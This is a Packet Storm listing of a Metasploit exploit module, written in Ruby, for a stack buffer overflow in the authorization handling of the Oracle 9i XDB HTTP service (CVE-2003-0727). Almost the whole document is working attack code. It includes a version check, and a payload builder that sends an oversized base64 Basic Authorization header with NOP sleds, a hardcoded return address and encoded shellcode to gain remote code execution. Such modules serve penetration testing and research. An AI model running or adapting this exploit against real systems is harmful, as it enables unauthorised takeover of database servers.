Oracle 9i XDB HTTP PASS Overflow (win32)

2009-10-30T00:00:00
ID PACKETSTORM:82937
Type packetstorm
Reporter MC
Modified 2009-10-30T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',  
'Description' => %q{  
This module exploits a stack overflow in the authorization  
code of the Oracle 9i HTTP XDB service. David Litchfield,  
has illustrated multiple vulnerabilities in the Oracle  
9i XML Database (XDB), during a seminar on "Variations  
in exploit methods between Linux and Windows" presented  
at the Blackhat conference.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2003-0727'],  
['OSVDB', '2449'],  
['BID', '8375'],  
['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],  
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Aug 18 2003'))  
  
register_options( [ Opt::RPORT(8080) ], self.class )  
  
end  
  
def check  
connect  
sock.put("GET / HTTP/1.0\r\n\r\n")  
resp = sock.get_once  
disconnect  
  
if (resp =~ /9.2.0.1.0/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = rand_text_english(4, payload_badchars) + ":"   
sploit << rand_text_english(442, payload_badchars)   
sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')   
sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded  
  
req = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"   
  
res = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req   
  
print_status("Trying target %s..." % target.name)  
  
sock.put(res)  
  
handler  
disconnect  
end  
  
end  
`